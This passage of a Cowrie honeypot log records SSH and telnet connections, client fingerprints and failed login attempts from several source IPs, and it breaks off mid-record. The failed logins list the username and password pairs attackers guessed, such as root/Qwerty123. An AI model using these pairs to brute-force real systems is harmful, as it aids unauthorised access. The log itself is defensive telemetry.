{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50520,"dst_ip":"159.203.135.109","dst_port":22,"session":"22f59c9725dd","protocol":"ssh","message":"New connection: 176.65.132.129:50520 (159.203.135.109:22) [session: 22f59c9725dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:07.844778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:07.850186Z","src_ip":"176.65.132.129","session":"22f59c9725dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:07.933618Z","src_ip":"176.65.132.129","session":"22f59c9725dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:08.179525Z","src_ip":"176.65.132.129","session":"22f59c9725dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.21346640586853,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:08.657367Z","src_ip":"152.42.224.71","session":"20dc2cc583aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41200,"dst_ip":"10.17.0.5","dst_port":23,"session":"f09e1b8b93e7","protocol":"telnet","message":"New connection: 152.42.224.71:41200 (10.17.0.5:23) [session: f09e1b8b93e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:09.153289Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:09.270237Z","src_ip":"176.65.132.129","session":"22f59c9725dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41202,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce83d5bd509a","protocol":"telnet","message":"New connection: 152.42.224.71:41202 (10.17.0.5:23) [session: ce83d5bd509a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:09.478042Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50528,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f873c3ad94c","protocol":"ssh","message":"New connection: 176.65.132.129:50528 (159.203.135.109:22) [session: 7f873c3ad94c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:11.090596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:11.096490Z","src_ip":"176.65.132.129","session":"7f873c3ad94c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":61065,"dst_ip":"10.17.0.5","dst_port":22,"session":"c560e459ede3","protocol":"ssh","message":"New connection: 167.172.81.52:61065 (10.17.0.5:22) [session: c560e459ede3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:11.170614Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:11.179464Z","src_ip":"167.172.81.52","session":"c560e459ede3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:11.184960Z","src_ip":"167.172.81.52","session":"c560e459ede3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:11.191610Z","src_ip":"176.65.132.129","session":"7f873c3ad94c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgresql","password":"postgresql","message":"login attempt [postgresql/postgresql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:11.441590Z","src_ip":"176.65.132.129","session":"7f873c3ad94c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":33130,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a7841d7401c","protocol":"ssh","message":"New connection: 23.249.28.115:33130 (159.203.135.109:22) [session: 9a7841d7401c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:11.742517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:11.747872Z","src_ip":"23.249.28.115","session":"9a7841d7401c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:11.939026Z","src_ip":"23.249.28.115","session":"9a7841d7401c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:12.527229Z","src_ip":"176.65.132.129","session":"7f873c3ad94c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k0nig2018","message":"login attempt [root/k0nig2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:12.733217Z","src_ip":"23.249.28.115","session":"9a7841d7401c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:13.927440Z","src_ip":"23.249.28.115","session":"9a7841d7401c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41204,"dst_ip":"10.17.0.5","dst_port":23,"session":"532262449c0e","protocol":"telnet","message":"New connection: 152.42.224.71:41204 (10.17.0.5:23) [session: 532262449c0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:14.221938Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50544,"dst_ip":"159.203.135.109","dst_port":22,"session":"def466263e06","protocol":"ssh","message":"New connection: 176.65.132.129:50544 (159.203.135.109:22) [session: def466263e06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:14.426940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:14.432327Z","src_ip":"176.65.132.129","session":"def466263e06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:14.518178Z","src_ip":"176.65.132.129","session":"def466263e06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty123","message":"login attempt [root/Qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:14.875725Z","src_ip":"176.65.132.129","session":"def466263e06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:15.961433Z","src_ip":"176.65.132.129","session":"def466263e06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34150,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2d20f4dad03","protocol":"ssh","message":"New connection: 176.65.132.129:34150 (159.203.135.109:22) [session: b2d20f4dad03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:17.810318Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":33606,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8b090a09aae","protocol":"ssh","message":"New connection: 103.149.28.157:33606 (10.17.0.5:22) [session: f8b090a09aae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:17.850722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:17.855944Z","src_ip":"103.149.28.157","session":"f8b090a09aae","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:17.981316Z","src_ip":"176.65.132.129","session":"b2d20f4dad03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:17.986014Z","src_ip":"176.65.132.129","session":"b2d20f4dad03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.135.168.228","src_port":55402,"dst_ip":"159.203.135.109","dst_port":22,"session":"621766a5d312","protocol":"ssh","message":"New connection: 213.135.168.228:55402 (159.203.135.109:22) [session: 621766a5d312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:18.077931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:18.082527Z","src_ip":"213.135.168.228","session":"621766a5d312","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:18.112229Z","src_ip":"103.149.28.157","session":"f8b090a09aae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:18.218776Z","src_ip":"213.135.168.228","session":"621766a5d312","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user9","password":"user9","message":"login attempt [user9/user9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:18.496029Z","src_ip":"176.65.132.129","session":"b2d20f4dad03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gorge","message":"login attempt [root/gorge] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:18.784806Z","src_ip":"213.135.168.228","session":"621766a5d312","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ludmila","message":"login attempt [root/ludmila] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:18.890465Z","src_ip":"103.149.28.157","session":"f8b090a09aae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00118255615234,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:19.507167Z","src_ip":"152.42.224.71","session":"e295153b53e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:19.580518Z","src_ip":"176.65.132.129","session":"b2d20f4dad03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:19.921307Z","src_ip":"213.135.168.228","session":"621766a5d312","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:20.764879Z","src_ip":"103.149.28.157","session":"f8b090a09aae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.04481506347656,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:20.823106Z","src_ip":"152.42.224.71","session":"efbd1efcb4be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34162,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c2edc2ee9ce","protocol":"ssh","message":"New connection: 176.65.132.129:34162 (159.203.135.109:22) [session: 6c2edc2ee9ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:21.304447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:21.309273Z","src_ip":"176.65.132.129","session":"6c2edc2ee9ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.co